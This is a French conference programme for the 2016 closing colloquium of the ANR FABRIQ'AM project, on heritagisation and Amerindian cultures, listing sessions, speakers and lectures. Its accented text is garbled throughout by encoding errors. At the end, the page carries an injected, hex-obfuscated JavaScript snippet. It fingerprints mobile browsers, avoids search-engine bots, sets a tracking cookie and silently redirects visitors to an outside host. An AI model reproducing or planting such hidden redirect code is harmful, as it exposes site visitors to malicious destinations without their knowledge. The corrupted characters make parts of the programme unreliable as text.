Colloque final (30/05-01/06/2016) : « Culture : Modes d’emploi. La patrimonialisation A� l’A�preuve du terrain »

Colloque final du projet ANR FABRIQ’AM

30 mai a�� 1er juin 2016

Culture : Modes d’emploi
La patrimonialisation A� l’A�preuve du terrain

La Barge du CROUS, Quai FranA�ois Mauriac
Port de la Gare
75013 Paris

Programme et rA�sumA�s: tA�lA�charger ici

Lundi 30 mai
10h-12h30

Introduction gA�nA�rale
Anath Ariel de Vidas (CNRS-CERMA/MONDESAM) et Valentina Vapnarsky (CNRS-EREA/LESC)

ConfA�rence de Michael Herzfeld
(Department of Anthropology, Harvard University, A�tats-Unis)
Patrimoine et propriA�tA� :A�Les origines bureaucratiques et scientifiques des conflits culturels

Session I – 14h-17h30
Culture et patrimoine : quels termes in situ ?
PrA�sidente de sA�ance : Aurore Monod Becquelin ( (CNRS-LESC)

Introduction :
A� Avons-nous de la culture ? A� InterfA�rences terminologiques dans et au-delA� des processus de patrimonialisation.A�
Anath Ariel de Vidas (CNRS-CERMA/MONDESAM) et Vincent Hirtzel (CNRS-EREA/LESC)

Discutante de la session : Anne-Christine Taylor (CNRS-EREA/LESC)

  • Une indianitA� interculturelle ? Cultura et nouveaux modes de gouvernance.A�Marie Chosson (INALCO-CESSMA) et Julie Carpentier (EREA/LESC)
  • Les coutumes entre paganisme et barbarie : El costumbre A� le coutume A� (Nahua, Mexique) et la mala costumbre A� la mauvaise coutume A� (YurakarA�, Bolivie).A�Anath Ariel de Vidas (CNRS-CERMA/MONDESAM) et Vincent Hirtzel (CNRS-EREA/LESC)
  • Du mode da��A?tre A� la culture.A�Isabelle Daillant (CNRS-EREA/LESC)
  • La A� culture A� dans les grammaires amA�rindiennes.A�CA�dric Becquey (EREA/LESC), Valentina Vapnarsky (CNRS-EREA/LESC) et CA�dric Yvinec (LAS)
A�Cocktail d’ouverture

Mardi 31 mai

Session II – 9h-12h30
Indiens sur scA?nes, A�trangers captivA�s
PrA�sident de sA�ance : Emmanuel de Vienne (UniversitA� Paris Ouest Nanterre-EREA/LESC)

Introduction :
Mise en spectacle de la culture et secret.A�
Philippe Erikson (UniversitA� Paris Ouest Nanterre-EREA/LESC), CA�dric Yvinec (LAS), ChloA� Nahum-Claudel (University of Cambridge)

  • Les concours de beautA� amA�rindiens. Nouvelles formes de spectacularisation de l’indianitA�.A�Magda Helena Dziubinska (EREA/LESC)
  • Shamanism, Patrimony and Indigenous Autonomy in Contemporary Colombia: Negotiating identity in a context of violence.A�E. Jean Langdon (Universidade Federal de Santa Catarina, BrA�sil)
  • Danseurs wayA?pi aux Festival da��Avignon. Un spectacle interculturel, un acte diplomatique.A�Jean-Michel Beaudet (UniversitA� Paris Ouest Nanterre-CREM/LESC)
  • CommA�morer un massacre, enfouir les secrets dans les Andes du PA�rou.A�ValA�rie Robin AzevedoA�(UniversitA� Paris Descartes-CANTHEL)
  • Montrer pour cacher : la transmission da��un savoir rituel shuar (Amazonie A�quatorienne) dans le contexte nA�o-chamanique.A�Katarzyna Zajda (EPHE-IMAF)

Session III – 14h-17h15
De la��A�vanescence et de la pA�rennitA� des choses
PrA�sident de sA�ance : Philippe Erikson (UniversitA� Paris Ouest Nanterre-EREA/LESC)

Introduction :
De la��A�vanescence et de la pA�rennitA� des choses.A�
Laurence Charlier (UniversitA� Toulouse Jean JaurA?s-LISST/CAS), Valentina Vapnarsky (CNRS EREA/LESC)

  • Vertigineux vestiges : temps de pierres en pays maya et aymara.A�Laurence Charlier (UniversitA� Toulouse Jean JaurA?s-LISST/CAS), Valentina Vapnarsky (CNRS-EREA/LESC), Marie Chosson (INALCO-CESSMA), CA�dric Becquey (EREA/LESC) et Helios Figuerola Pujol (EREA/LESC)
  • Des vestiges toujours actifs. MA�moires et temporalitA�s dans les Andes de Bolivie.A�Pablo Cruz (CONICET) et Gilles RiviA?re (EHESS-CERMA/MOndesAM )
  • Les vestiges comme source de lA�gitimation territoriale.A�Pirjo Virtanen (UniverstitA� de Helsinki, EREA/LESC), Emilie Stoll (IRD-PALOC), Florencia Tola (CONICET)
  • Traces de malemorts ou lieu de nostalgie ? Sanctification et/ou patrimonialisation da��un village noir dA�truit (Choco, Colombie).A�Anne-Marie Losonczy (EPHE-CERMA/MOndesAM)

ConfA�rence de Fernando Santos-Granero – 17h30-18h30
(Smithsonian Tropical Research Institute, Panama)
Patrimonialization, Defilement & the Zombification of Cultural Heritage

Mercredi 1er juin

Session IV – 10h-12h30
Dilemmes participatifs et jeux de lA�gitimation
PrA�sident de sA�ance : Patrick Deshayes (UniversitA� Lyon II, EREA/LESC)

Introduction:
Dilemmes participatifs et jeux de lA�gitimation dans la patrimonialisation.A�
Chiara Bortolotto (ANR, UNESCO Frictions), , Silvia Macedo (EREA/LESC), VA�ronique Boyer (CNRS-CRBC/MOndesAM), GA�rard Collomb (CNRS-LAIOS/IIAC), Aline HA�mond (UniversitA� de Picardie-Jules Verne-EA « Habiter le monde ») et Sylvie Pedron-Colombani (UniversitA� Paris Ouest Nanterre-EREA/LESC)

Discutante de la session : Sylvie Sagnes (CNRS-IIAC/LAHIC)

  • De quelques points de vue sur la formation de chercheurs amA�rindiens au BrA�sil.A�Dominique Tilkin Gallois (Universidade de SA?o Paulo-CEstA, BrA�sil)
  • Nouveaux acteurs, logiques anciennes ? La patrimonialisation du territoireA�(BrA�sil, Colombie).A�VA�ronique Boyer (CNRS-CRBC/MOndesAM) et Odile Hoffmann (IRD-URMIS)
  • Construire et inventer le patrimoine zA?para. Acteurs, intA�rA?ts, conflits enA�Amazonie A�quatorienne.A�Anne-GaA�l Bilhaut (URA-IKIAM, EREA/LESC)

14h-15h30

  • Prises multiples du A� patrimoine culturel immatA�riel A�, A� partir du haut et du basA�Maroni (Guyane).A�GA�rard Collomb (CNRS-LAIOS/IIAC) et Thomas Mouzard (Direction des affaires culturelles de Guyane/MinistA?re de la Culture)
  • Patrimoine et migration : processus transnationaux de collaboration, construction et lA�gitimation A� partir de deux A�tudes de cas (Nahua et Mayas vers les A�tats-Unis).A�Aline HA�mond (UniversitA� de Picardie-Jules Verne-EA « Habiter le monde ») et Sylvie PA�dron-Colombani (UniversitA� Paris Ouest Nanterre-EREA/LESC)

ConfA�rence de Claudia Briones – 16h-17h
(Instituto de Investigaciones en Diversidad Cultural y Procesos de Cambio, Universidad Nacional de RA�o Negro-CONICET, Argentine)
« Spirituality… We do not have such a thing »: Patrimonialization processes as minefields

17H : Discussion gA�nA�rale

Cocktail de clA?ture

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}